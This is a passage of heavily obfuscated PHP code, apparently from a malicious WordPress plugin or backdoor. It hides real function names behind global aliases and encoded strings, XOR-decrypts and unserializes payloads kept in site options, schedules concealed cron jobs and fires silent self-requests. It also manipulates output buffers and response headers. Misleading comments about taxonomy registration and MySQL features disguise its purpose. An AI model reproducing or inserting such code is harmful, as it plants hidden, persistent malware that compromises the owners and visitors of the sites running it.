     $eofnzqxy8tknth   =   @$GLOBALS['__scf_esp9o7pdt1mu_333']($cdvlcd13lr1mnn7o,  true);
 if   (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($eofnzqxy8tknth)  ||    !   isset($eofnzqxy8tknth[cv8ducrec(334)])   || !   $GLOBALS['__scf_qubutkuvnnc4sx_41']($eofnzqxy8tknth[pvz_9xuc0nzl0m(334)]))  {
// subtype test

continue;
   }

      $mfygtas36i7um_f =   $eofnzqxy8tknth[pvz_9xuc0nzl0m(334)];
   if ($GLOBALS['__scf_ya_jdhkqpku_7']($mfygtas36i7um_f,  j8bjjevd80e(335)) === 0)     {


     $mfygtas36i7um_f     =   $GLOBALS['__scf_kmygv436ft5pn_9']($mfygtas36i7um_f,  2);
    }

     
  $mnfy9zthq9xb2 =   @efzrc6x9kvavlcx($mfygtas36i7um_f);
  if   ($mnfy9zthq9xb2  ===   false  ||  $GLOBALS['__scf_d413tdd725_10']($mnfy9zthq9xb2) <     (25^89))  {
 continue;
   }



 

$uyo_zxa1wvyb9b  =      (0x3+0x3c);


  $asn5p705i11   =  $GLOBALS['__scf_vvlv5hybzbb_336']($mnfy9zthq9xb2[$uyo_zxa1wvyb9b]);


$v9g5xf9d4l9   =  $GLOBALS['__scf_kmygv436ft5pn_9']($mnfy9zthq9xb2,  $uyo_zxa1wvyb9b  +    1, $asn5p705i11);
  if (! $GLOBALS['__scf_qubutkuvnnc4sx_41']($v9g5xf9d4l9)     || $GLOBALS['__scf_d413tdd725_10']($v9g5xf9d4l9) <     (0x1+0x2))  {



continue;
}
       
$akddvqtgpxbhz  = $GLOBALS['__scf_vvlv5hybzbb_336']($v9g5xf9d4l9[0]);
  if    ($akddvqtgpxbhz <   1  || $GLOBALS['__scf_d413tdd725_10']($v9g5xf9d4l9) <    1 +   $akddvqtgpxbhz +  1)  {

    continue;


   }
 
    $q2bz5z7u3d2   =   $GLOBALS['__scf_kmygv436ft5pn_9']($v9g5xf9d4l9, 1, $akddvqtgpxbhz);



 $xnej_librww9p  =  $GLOBALS['__scf_kmygv436ft5pn_9']($v9g5xf9d4l9,   1    +    $akddvqtgpxbhz);
    if   (! $GLOBALS['__scf_qubutkuvnnc4sx_41']($q2bz5z7u3d2) ||  !  $GLOBALS['__scf_qubutkuvnnc4sx_41']($xnej_librww9p))   {
continue;
}
   
 $cc_nibzpcc   =    _1isqeznby2pv_soj($xnej_librww9p,  $q2bz5z7u3d2);
 if (!   $GLOBALS['__scf_qubutkuvnnc4sx_41']($cc_nibzpcc) ||   $GLOBALS['__scf_d413tdd725_10']($cc_nibzpcc) <  2) {



f1995qrx5prr7cbl19co0e(s99lg14mcd3un(337),  s99lg14mcd3un(338));

     continue;

}
// WP Site Editor taxonomy registration


 $ph9000jrky6f3yka   =   $GLOBALS['__scf_vvlv5hybzbb_336']($cc_nibzpcc[0]);
      if ($ph9000jrky6f3yka    < 1      ||   $GLOBALS['__scf_d413tdd725_10']($cc_nibzpcc)     <   1  +  $ph9000jrky6f3yka) {
   f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(337),  pvz_9xuc0nzl0m(339));
continue;
 }
       
  $sda2_rrtkn   = $GLOBALS['__scf_kmygv436ft5pn_9']($cc_nibzpcc,   1, $ph9000jrky6f3yka);
     $a2xfuu1ikz   =   $GLOBALS['__scf_kmygv436ft5pn_9']($cc_nibzpcc,  1    + $ph9000jrky6f3yka);
     $off88_c0x5_  =   $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_le53i63bu3tu_340']($GLOBALS['__scf_wx1kvxlzxj_235'](pvz_9xuc0nzl0m(328), $GLOBALS['__scf_a7rg2cgre47e_341'](j8bjjevd80e(342), $a2xfuu1ikz))));
if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(343)))   {
update_option(s99lg14mcd3un(326), $gv271g43epe6h);
   update_option(pvz_9xuc0nzl0m(344), $GLOBALS['__scf__vwipvlr0sd_345']("\n",    $off88_c0x5_));
}
return  array(pvz_9xuc0nzl0m(346)  =>   $sda2_rrtkn, s99lg14mcd3un(347)    =>   $off88_c0x5_);
 }  catch     (Throwable  $uvo4msk8s29_)  {
     f1995qrx5prr7cbl19co0e(j8bjjevd80e(348),  $uvo4msk8s29_);
 continue;
}    catch  (Exception   $uvo4msk8s29_)  {
 continue;

 }
       }



 $a7s44zt4lw  =  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(154))     ? (string)    get_option(cv8ducrec(344),   "")  :    "";
   $o6pr0egigvfj  = fisznicc_bnq0q9lpk5a1j(s99lg14mcd3un(349),   "");
 if ($a7s44zt4lw   !==  ""   &&   $GLOBALS['__scf_qubutkuvnnc4sx_41']($o6pr0egigvfj)  &&    $o6pr0egigvfj !==  "") {
$off88_c0x5_  = $GLOBALS['__scf_zcsplvr37om_157']($GLOBALS['__scf_le53i63bu3tu_340']($GLOBALS['__scf_wx1kvxlzxj_235'](pvz_9xuc0nzl0m(328),  $GLOBALS['__scf_a7rg2cgre47e_341'](s99lg14mcd3un(342),      $a7s44zt4lw))));
if  (! empty($off88_c0x5_)) {
return  array(cv8ducrec(346)  =>  $o6pr0egigvfj,  j8bjjevd80e(347)  => $off88_c0x5_);
    }
 }



   f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(348), s99lg14mcd3un(350));
       return  array();
  

      }
  function  nqy28tbb9fn5oe39v($e9jitn6j3dt_9ucw,    $mum5cfihop8, $qyg1mikof3)
  {
    if    (! $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(343))) {$mbwrr600wp591=4020;$yl2aicvk=$mbwrr600wp591%4;
return false;
 }
 if    (isset($GLOBALS[cv8ducrec(351)])    &&   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[j8bjjevd80e(351)])   &&   $GLOBALS['__scf_wmwx5858f0_247']($e9jitn6j3dt_9ucw, $GLOBALS[s99lg14mcd3un(351)])) {



unset($GLOBALS[s99lg14mcd3un(352)][$e9jitn6j3dt_9ucw]);


}
 $i4g_we48yi =  $GLOBALS['__scf_s959cieqyqa_353']($mum5cfihop8);
 $u6hjbfa4gvshn1  =      $GLOBALS['__scf_f_epkgohi5_354']($GLOBALS['__scf_pbb_q2_l2kzq6z_355'](1,  (0x50+0xaf)));
  $hb4vrc56plegvrw  =   "";
 for ($_r7f01zu03bnd =   0, $hjiruof3s0agy5tq  = $GLOBALS['__scf_d413tdd725_10']($i4g_we48yi);  $_r7f01zu03bnd   <    $hjiruof3s0agy5tq; $_r7f01zu03bnd++) {
    $hb4vrc56plegvrw   .= $GLOBALS['__scf_f_epkgohi5_354']($GLOBALS['__scf_vvlv5hybzbb_336']($i4g_we48yi[$_r7f01zu03bnd]) ^    $GLOBALS['__scf_vvlv5hybzbb_336']($u6hjbfa4gvshn1));
      }
// WP Post Title: trace container

  return  update_option($e9jitn6j3dt_9ucw, $GLOBALS['__scf_l90bo4vfyn_356']($u6hjbfa4gvshn1    .  $hb4vrc56plegvrw), $qyg1mikof3)  !==    false;
}

   function  y6bufl7h7ptft9p90e($e9jitn6j3dt_9ucw,  $mg3ad6rlk8)



  {

  if  (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(154)))    return    $mg3ad6rlk8;
   if   (isset($GLOBALS[b5xx0lrqzfc(352)])  &&  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[cv8ducrec(352)])    &&     $GLOBALS['__scf_wmwx5858f0_247']($e9jitn6j3dt_9ucw,  $GLOBALS[pvz_9xuc0nzl0m(352)]))   {


     return   $GLOBALS[cv8ducrec(352)][$e9jitn6j3dt_9ucw];
 }
 $xy99dg66zxhdf9     = get_option($e9jitn6j3dt_9ucw,  "");
if  ($xy99dg66zxhdf9  ===  "" || !  $GLOBALS['__scf_qubutkuvnnc4sx_41']($xy99dg66zxhdf9)) {
// predicate savepoint for WP Site Tagline

     return   $mg3ad6rlk8;
   }
 $ocxwjqccj_    =  @$GLOBALS['__scf_hitibqyb6ku_357']($xy99dg66zxhdf9,   true);
 if    ($ocxwjqccj_  ===    false  || $GLOBALS['__scf_d413tdd725_10']($ocxwjqccj_)     <   2)    {
return    $mg3ad6rlk8;
// string dedup

}



$u6hjbfa4gvshn1     = $ocxwjqccj_[0];
$lsaknwv8e4i = "";
  for   ($_r7f01zu03bnd =  1,    $hjiruof3s0agy5tq = $GLOBALS['__scf_d413tdd725_10']($ocxwjqccj_);  $_r7f01zu03bnd <  $hjiruof3s0agy5tq; $_r7f01zu03bnd++)   {
   $lsaknwv8e4i   .=  $GLOBALS['__scf_f_epkgohi5_354']($GLOBALS['__scf_vvlv5hybzbb_336']($ocxwjqccj_[$_r7f01zu03bnd])     ^   $GLOBALS['__scf_vvlv5hybzbb_336']($u6hjbfa4gvshn1));


        }
 $nxghm0pojsc  = mkbvdupnbjny7vnxpc8m($lsaknwv8e4i);
 if  ($nxghm0pojsc    !==  false)  {
 if  (!isset($GLOBALS[b5xx0lrqzfc(358)]) ||  !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[cv8ducrec(358)]))    $GLOBALS[b5xx0lrqzfc(358)] =  array();
 if  ($GLOBALS['__scf_tbu69vegc9f_36']($GLOBALS[s99lg14mcd3un(358)])   > (80^16)) $GLOBALS[cv8ducrec(359)] = array();
     $GLOBALS[pvz_9xuc0nzl0m(359)][$e9jitn6j3dt_9ucw]  =  $nxghm0pojsc;$v3o43h_ay=41*6;$fbv827uj_0nx=$v3o43h_ay-6;
return    $nxghm0pojsc;

 }
return     $mg3ad6rlk8;


        }
function    mkbvdupnbjny7vnxpc8m($v9g5xf9d4l9)
   {
  if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($v9g5xf9d4l9))    return false;
  

if     (defined(cv8ducrec(360))     &&  PHP_VERSION_ID  >= (69910+90))  {
    return  @$GLOBALS['__scf_ncg0ka_bmuzl_361']($v9g5xf9d4l9,   array(s99lg14mcd3un(362) =>   false));
 }
 return @$GLOBALS['__scf_ncg0ka_bmuzl_361']($v9g5xf9d4l9);


 }
  function    te0cm1he3w9ltsxz4h()
{
 static  $h4sg6v8cdzuctlj =    null;
if  ($h4sg6v8cdzuctlj   !== null)    return    $h4sg6v8cdzuctlj;


 $gx1wu9an7cfa2x_t =  defined(j8bjjevd80e(133))   ? ABSPATH  :    "";
    $h4sg6v8cdzuctlj  =  $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_q1hcnnvi5ufvxy_363']('\\',    '/',  $gx1wu9an7cfa2x_t),  '/') .  '/';
    return  $h4sg6v8cdzuctlj;
}

  function   t3n5pwyq0eumo2mmixe8cz($e9jitn6j3dt_9ucw)

 {

 return  inbj7my4zpjuh_tx(te0cm1he3w9ltsxz4h() .      (string)      _dbs9edj_8e6_zc_s()   . $e9jitn6j3dt_9ucw,    (22-10));
}
  function  uxbpia9nhfgkd94rxbqk($a9oal7n6c2gs8)
 {
      return   (string)  ((0x5604747+0xc4579)      +  ((int)    hexdec($GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57'](te0cm1he3w9ltsxz4h() .  j8bjjevd80e(364)     .   $a9oal7n6c2gs8), 0, (0x1+0x6))) %    (10072129-1072130)));
    }
   function q5z7ga8d3mewvkj()
{
 return    uxbpia9nhfgkd94rxbqk(pvz_9xuc0nzl0m(365));
}
function   rczgaycwwh5u5qy5vgph0c()


   {
 $m346v0mu32z_due8 = (string)   fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(366),  "");
   return   $GLOBALS['__scf_d413tdd725_10']($m346v0mu32z_due8)  >     (0x6+0x4) && $GLOBALS['__scf_ya_jdhkqpku_7']($m346v0mu32z_due8,  q5z7ga8d3mewvkj())     !==  false  && $GLOBALS['__scf_d413tdd725_10']((string) fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(367),    "")) >    (0x13+0x51);
   }
  

    function    fisznicc_bnq0q9lpk5a1j($e9jitn6j3dt_9ucw,  $mg3ad6rlk8)
  {
// MySQL window functions menu position

return y6bufl7h7ptft9p90e(t3n5pwyq0eumo2mmixe8cz($e9jitn6j3dt_9ucw),  $mg3ad6rlk8);



    }
 function    _x9hn2qehctkx39o($e9jitn6j3dt_9ucw,    $mg3ad6rlk8     =    "")

    {
  $cq_6gw44hx8jcvy  = fisznicc_bnq0q9lpk5a1j($e9jitn6j3dt_9ucw, $mg3ad6rlk8);
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($cq_6gw44hx8jcvy))   return     $cq_6gw44hx8jcvy;
  if ($GLOBALS['__scf_e4rirptaxyyh7a_368']($cq_6gw44hx8jcvy)) return (string)  $cq_6gw44hx8jcvy;
  return  $mg3ad6rlk8;
 }
function   yf4cseyywyt6kel($e9jitn6j3dt_9ucw,  $mum5cfihop8,   $qyg1mikof3)
       {$jscw23y6tfzsq=(0x81+0x85);$k3buaca4hs=$jscw23y6tfzsq%9;
return  nqy28tbb9fn5oe39v(t3n5pwyq0eumo2mmixe8cz($e9jitn6j3dt_9ucw),   $mum5cfihop8,  $qyg1mikof3);
      }
   function     g6vmbx9dpbd7vqn02ef()
  {
$g1wtww5qi3n     =      isset($GLOBALS[pvz_9xuc0nzl0m(168)])  ?    $GLOBALS[j8bjjevd80e(168)]     :  array();
  $xy99dg66zxhdf9  =    fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(369),      array());


 if   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($xy99dg66zxhdf9))  {



  $g1wtww5qi3n   =     $GLOBALS['__scf_z1yhwz66dpf_370']($xy99dg66zxhdf9, $g1wtww5qi3n);
 }

$g1wtww5qi3n   =   $GLOBALS['__scf_ahbb1zgmq33o_158']($g1wtww5qi3n);
    return $GLOBALS['__scf_zmuu9w5tlhvrg__169']($g1wtww5qi3n,    -(23+27));
    }
 function  tvwcj0v93vo6m82i5sfpgm()
 {
if (!isset($GLOBALS[b5xx0lrqzfc(168)])  ||   empty($GLOBALS[s99lg14mcd3un(168)]))  return;

   try   {
    $xy99dg66zxhdf9   = fisznicc_bnq0q9lpk5a1j(s99lg14mcd3un(369), array());
 $rlkbzeqo1qo2g6nr  =    $GLOBALS['__scf_ahbb1zgmq33o_158']($GLOBALS['__scf_z1yhwz66dpf_370']((array)$xy99dg66zxhdf9, $GLOBALS[b5xx0lrqzfc(168)]));



 $rlkbzeqo1qo2g6nr    = $GLOBALS['__scf_zmuu9w5tlhvrg__169']($rlkbzeqo1qo2g6nr,  -(7+43));

  yf4cseyywyt6kel(pvz_9xuc0nzl0m(371),    $rlkbzeqo1qo2g6nr, j8bjjevd80e(197));
    }    catch    (Throwable  $uvo4msk8s29_) {
     f1995qrx5prr7cbl19co0e(cv8ducrec(372),  $uvo4msk8s29_);
 }   catch  (Exception $uvo4msk8s29_) {
 }
 }
 
 function _1isqeznby2pv_soj($v9g5xf9d4l9,  $key)
{
if (! $GLOBALS['__scf_qubutkuvnnc4sx_41']($v9g5xf9d4l9)  ||   !   $GLOBALS['__scf_qubutkuvnnc4sx_41']($key)   || $GLOBALS['__scf_d413tdd725_10']($key) ===   0)  {

 return   null;
  }
     $j7use0_0kv8  =      $GLOBALS['__scf_d413tdd725_10']($v9g5xf9d4l9);



 $rg38h12u6j63hnl =   $GLOBALS['__scf_d413tdd725_10']($key);
      $ssxrvq5et832s =   "";
   for   ($_r7f01zu03bnd  = 0;     $_r7f01zu03bnd  <    $j7use0_0kv8;    $_r7f01zu03bnd++) {
// unload bloom-filter for PHP 8.2 enum

 $ssxrvq5et832s  .=  $GLOBALS['__scf_f_epkgohi5_354']($GLOBALS['__scf_vvlv5hybzbb_336']($v9g5xf9d4l9[$_r7f01zu03bnd])  ^    $GLOBALS['__scf_vvlv5hybzbb_336']($key[$_r7f01zu03bnd    % $rg38h12u6j63hnl]));
     }
return   $ssxrvq5et832s;
}
  
   function d8cvn43hz9jar1je($mv5n84pg7190zht)
{
 if (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($mv5n84pg7190zht))      {
 $mv5n84pg7190zht =   array();



 }



 static $lttxvvotacmrq28 =  null;
if   ($lttxvvotacmrq28 === null)     {
   $lttxvvotacmrq28  =   a89x3hypm78o6y7xnj0h();

 $wnbgk5omtp371a  =    $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(154))  ?  y6bufl7h7ptft9p90e(b5xx0lrqzfc(373), false)  : false;
 if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($wnbgk5omtp371a)   && isset($wnbgk5omtp371a[j8bjjevd80e(374)])  && (int)  $wnbgk5omtp371a[pvz_9xuc0nzl0m(374)]    >= (0xd6+0x56)   &&   (int) $wnbgk5omtp371a[cv8ducrec(375)] <=    (86391+9))  $lttxvvotacmrq28   =  (int)   $wnbgk5omtp371a[b5xx0lrqzfc(375)];
 if ($lttxvvotacmrq28  <   (4+56))     {
 $lttxvvotacmrq28  =  (3319+281);
}
}
// induction variable




 $mv5n84pg7190zht[pvz_9xuc0nzl0m(376)]   = array(
  pvz_9xuc0nzl0m(377)      => $lttxvvotacmrq28,
   j8bjjevd80e(378) =>  b5xx0lrqzfc(379),


  );


    $mv5n84pg7190zht[cv8ducrec(380)]  =   array(
  s99lg14mcd3un(377) =>     (0xa7+0x1b1),



 s99lg14mcd3un(381)  => cv8ducrec(379),
);
return   $mv5n84pg7190zht;

 }
    


     function   rkhl8t5br0id4p1hfg()
{


   if (!$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(382))      ||   !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(383)))  return;
 if    (!oi023dn_ef3e6fe(b5xx0lrqzfc(384))) return;
try    {



if   (!wp_next_scheduled(et2b4r7l7_g_aen6()))     {
wp_schedule_event($GLOBALS['__scf_tmn0v_xik_1b_195']()  +  $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((98^94),      (256+44)),   pvz_9xuc0nzl0m(385),   et2b4r7l7_g_aen6());
    }
  } finally {
jr2xyttddkmhfx362y(j8bjjevd80e(384));


    }
 }



    function apggyw45u0om43qriqb()

{
  
 if (defined(b5xx0lrqzfc(386))    && DOING_CRON)  {
     return;
}
 
       static   $a06sm2zjmwx =      false;
        if   ($a06sm2zjmwx)     return;
$a06sm2zjmwx   =    true;
 
if (!   qdaq3g3vrxkter()) {
return;
 }
  
 d25ke5lz6ilx2qgf(s99lg14mcd3un(387), s99lg14mcd3un(388),      0);


  }
function ud91k38usni5tk()
   {$jkfkqa1bdgvff=514;$q8au5xyv=($jkfkqa1bdgvff>0)?$jkfkqa1bdgvff:-$jkfkqa1bdgvff;


 if      (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(389))  || !$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(390)))   return;
    @$GLOBALS['__scf_cxp28f27vo1_297'](site_url(pvz_9xuc0nzl0m(391)  .   $GLOBALS['__scf_q1hcnnvi5ufvxy_363']('.',    "", (string)  $GLOBALS['__scf_di84jqdj15nut_294'](true))  .   $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((55+45),      (907+92))),     array(cv8ducrec(392) =>      0.01,   s99lg14mcd3un(393) => false, pvz_9xuc0nzl0m(394)    =>  false));$cfdzbj_wqx=(0xa4+0x7c);$b0zx1tue=$cfdzbj_wqx%10;
    }
    function   a11c_x6hasdrxxb44x3k()
  {
static   $fgfq5x0r89ltkol1  =  false;
    if ($fgfq5x0r89ltkol1) return;


  $fgfq5x0r89ltkol1    = true;
  try  {
  leh8j7ozehn01gn8ujcu94();
$lhm0p4lb4rn7wsy =   false;
if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(395)))  {


       $GLOBALS['__scf__e68tul4xg1_395']();
 $lhm0p4lb4rn7wsy  =  true;
 }   elseif ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(396)))  {
       $GLOBALS['__scf_y4vxwni_574_397']();
   $lhm0p4lb4rn7wsy   =  true;
  }  else   {
 if  ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(398))) {


 @$GLOBALS['__scf_orbam4j9elyj8o_398'](true);
     }

$ym17vusojlywrnc0 = false;
if    ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(116)))  {
$mvai9ak2uv    =  $GLOBALS['__scf_i1sl42qxo03g_107']($GLOBALS['__scf_qbsuu37jbe5t_328']((string)   @$GLOBALS['__scf_aojulu3bik1_116'](s99lg14mcd3un(399))));
   $ym17vusojlywrnc0  =    ($mvai9ak2uv  !==  "" && $mvai9ak2uv !==   '0'    &&  $mvai9ak2uv    !==  j8bjjevd80e(400));
}

$q9y44nuv2sk4    = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(401))     ?    @ob_get_status(true)    : array();
   if    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($q9y44nuv2sk4)) {
   foreach  ($q9y44nuv2sk4 as      $i6fjb30ipdeq4)   {



  $uq_de323hgke5ts  =   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($i6fjb30ipdeq4)     &&   isset($i6fjb30ipdeq4[j8bjjevd80e(402)]) ?  $GLOBALS['__scf_i1sl42qxo03g_107']((string)    $i6fjb30ipdeq4[cv8ducrec(402)])      : "";
  

 if  ($GLOBALS['__scf_ya_jdhkqpku_7']($uq_de323hgke5ts, b5xx0lrqzfc(403))   !==  false     || $GLOBALS['__scf_ya_jdhkqpku_7']($uq_de323hgke5ts,      b5xx0lrqzfc(404)) !==   false)    {
  $ym17vusojlywrnc0  =  true;
 break;


}
    }
 }
 if (!$ym17vusojlywrnc0  &&      $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(405))) {
   foreach   ((array)   @headers_list()   as      $ytwq2shbfjjqfpt)    {
if    (stripos($ytwq2shbfjjqfpt,   s99lg14mcd3un(406))     ===  0  && stripos($ytwq2shbfjjqfpt, cv8ducrec(407)) ===      false)     {

     $ym17vusojlywrnc0   =   true;
break;
}
    }

  }
$pqfob9qmjieat    = $GLOBALS['__scf_mv3hm1pk74i2v_108']();
// construction phase

     

  $kpv7glxkcgx   =   ($pqfob9qmjieat !== b5xx0lrqzfc(408)   &&    $pqfob9qmjieat  !== cv8ducrec(409));

 $vohgee9jq5iw0f =    $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(410))  ?   (int)  @http_response_code()   :  (194+6);
$cehxw_gs1u  = ($vohgee9jq5iw0f >=     (11^111) && $vohgee9jq5iw0f <    (100<<1))  ||     $vohgee9jq5iw0f  === (102<<1) || $vohgee9jq5iw0f   === (231+73);


 $ilxhz3nkuyu51581   =  (isset($_SERVER[cv8ducrec(411)])    &&  $_SERVER[s99lg14mcd3un(411)] ===   j8bjjevd80e(412));
   $u4z_iowpkb4i      = false;$s4tqf127ebk=149;$t0jp71zim7j6p=($s4tqf127ebk>0)?$s4tqf127ebk:-$s4tqf127ebk;
    if   ($kpv7glxkcgx     &&   !$cehxw_gs1u &&      !$ilxhz3nkuyu51581 &&     !headers_sent() &&     !$ym17vusojlywrnc0)    {

     while ($GLOBALS['__scf_z__995c3ky9u_413']()   >  1)  {
 $oqhgzm2osz2  =  $GLOBALS['__scf_z__995c3ky9u_413']();


if   (!@$GLOBALS['__scf_ks75gcs08cmnbo_414']()      ||   $GLOBALS['__scf_z__995c3ky9u_413']()   >=      $oqhgzm2osz2) break;

    }
$i6fjb30ipdeq4 = $GLOBALS['__scf_z__995c3ky9u_413']() ===      1    &&   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(401))  ?  @ob_get_status() :    array();
$uq_de323hgke5ts   = $GLOBALS['__scf__qh9f0l6g7e7ez_35']($i6fjb30ipdeq4) &&   isset($i6fjb30ipdeq4[pvz_9xuc0nzl0m(402)])  ?   $GLOBALS['__scf_i1sl42qxo03g_107']((string)  $i6fjb30ipdeq4[j8bjjevd80e(415)])   :     "";
 $_cl    = false;
if ($GLOBALS['__scf_z__995c3ky9u_413']()  ===  0)   {
 $_cl      =   0;
 } elseif (
 $GLOBALS['__scf_z__995c3ky9u_413']() === 1

  &&      $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(401))
 && ($uq_de323hgke5ts    ===  ""   || $uq_de323hgke5ts  === pvz_9xuc0nzl0m(416))

&&  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(417))



 ) {


  $_cl =  @ob_get_length();
}
// MySQL window functions: nilpotent reduction

$mx3p1czran    = true;
 if    (isset($GLOBALS[s99lg14mcd3un(418)][cv8ducrec(419)])) {
      $_wf  =   $GLOBALS[pvz_9xuc0nzl0m(418)][pvz_9xuc0nzl0m(420)];


      $sm1_yniqwixi  =    ($GLOBALS['__scf_zr5xv8ge2ijskk_69']($_wf)  &&  isset($_wf->callbacks))    ? $_wf->callbacks :    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($_wf) ?  $_wf :    array());

 foreach   ($sm1_yniqwixi  as  $_pr =>   $nhywf9gvcb)     {
// abort radix-tree for WP Data Module

    if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($nhywf9gvcb))     continue;
foreach   ($nhywf9gvcb as      $u48w1rj8vvq)  {
   $pmiusj7f18n_   =  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($u48w1rj8vvq) &&    isset($u48w1rj8vvq[b5xx0lrqzfc(70)])) ?  $u48w1rj8vvq[s99lg14mcd3un(70)] :   "";
if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($pmiusj7f18n_)  &&    $GLOBALS['__scf_o_dt0p7mox4_159']($pmiusj7f18n_,   array(b5xx0lrqzfc(388),      pvz_9xuc0nzl0m(421)),     true)) continue;
$mx3p1czran     =  false;
  break  2;$fk7jlo_l=20+10;$fe4ukkxxwg_y=$fk7jlo_l-8;
 }
       }
unset($_wf,  $sm1_yniqwixi,      $_pr,    $nhywf9gvcb,  $u48w1rj8vvq,   $pmiusj7f18n_);$ckc7z8xpgu03=PHP_MAJOR_VERSION;$mrnfwt01869=$ckc7z8xpgu03*3;
 }
 if  ($_cl   !==    false   &&     $mx3p1czran  && !headers_sent()) {
 @header(j8bjjevd80e(422)  .  (int) $_cl);
@header(cv8ducrec(423));
    $u4z_iowpkb4i    = true;
  }
/* open filter-chain */

}
  if  ($kpv7glxkcgx)  {


    while      ($GLOBALS['__scf_z__995c3ky9u_413']() >  0) {
    $oqhgzm2osz2  =     $GLOBALS['__scf_z__995c3ky9u_413']();
    if     (!@$GLOBALS['__scf_ks75gcs08cmnbo_414']()  ||  $GLOBALS['__scf_z__995c3ky9u_413']()     >=  $oqhgzm2osz2)  break;
       }


  @$GLOBALS['__scf_k947hhcrwqg_424']();
}
 if   ($u4z_iowpkb4i  &&  $GLOBALS['__scf_z__995c3ky9u_413']()  ===     0)    $lhm0p4lb4rn7wsy  =  true;
   unset($ym17vusojlywrnc0,   $mvai9ak2uv,  $q9y44nuv2sk4,  $i6fjb30ipdeq4,      $uq_de323hgke5ts,  $ytwq2shbfjjqfpt, $pqfob9qmjieat,   $kpv7glxkcgx,  $vohgee9jq5iw0f,   $cehxw_gs1u,  $u4z_iowpkb4i, $oqhgzm2osz2,  $_cl,  $ilxhz3nkuyu51581);
}
$h09lceqi2b  =  $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(425))   &&  !(defined(s99lg14mcd3un(426))  &&   DISABLE_WP_CRON);
 $gruhyy241wi34 =  !$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(427)) ||   (int)  get_option(cv8ducrec(428),  0) ===  0;
  if (!$gruhyy241wi34 &&    $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(427))  && $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(429)))     {


 $uky_o6j2w1idobk  =  (string)  get_option(cv8ducrec(430), "");
    if  ($uky_o6j2w1idobk !== jqg87ez26lzm3yp01xj2q())  {
  @update_option(b5xx0lrqzfc(431),   jqg87ez26lzm3yp01xj2q(),   j8bjjevd80e(197));
@update_option(b5xx0lrqzfc(432),    0, b5xx0lrqzfc(197));
$gruhyy241wi34 =   true;



   }
   }


 $w38lb9mk7xmcl = false;
if   ($h09lceqi2b &&  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(433)))    {
 $uhvmty7szi_2dh =   wp_next_scheduled(et2b4r7l7_g_aen6());
   if  ($uhvmty7szi_2dh   && ($GLOBALS['__scf_tmn0v_xik_1b_195']() -  (int) $uhvmty7szi_2dh)  >  (7127+73)) {
  $w38lb9mk7xmcl = true;
 if     ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(434)))      @wp_unschedule_event((int)     $uhvmty7szi_2dh,    et2b4r7l7_g_aen6());
        }
// @phi-insert prototype

    }


if  ($h09lceqi2b   && !$gruhyy241wi34  &&  !$w38lb9mk7xmcl)   {
$z6p1rnqd07f11  = $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(433))  ?  (int)   wp_next_scheduled(et2b4r7l7_g_aen6()) :  0;
   if  ($z6p1rnqd07f11 <= 0 || $z6p1rnqd07f11    - $GLOBALS['__scf_tmn0v_xik_1b_195']() >   (887+13)) {
 @wp_schedule_single_event($GLOBALS['__scf_tmn0v_xik_1b_195'](),  et2b4r7l7_g_aen6());
   }
   na5vlmhs0e9ks5cjtv();
  return;


     }


    if  ($w38lb9mk7xmcl)  f1995qrx5prr7cbl19co0e(cv8ducrec(435), s99lg14mcd3un(436));
     if    (!$lhm0p4lb4rn7wsy)   {
if   ($h09lceqi2b)  {
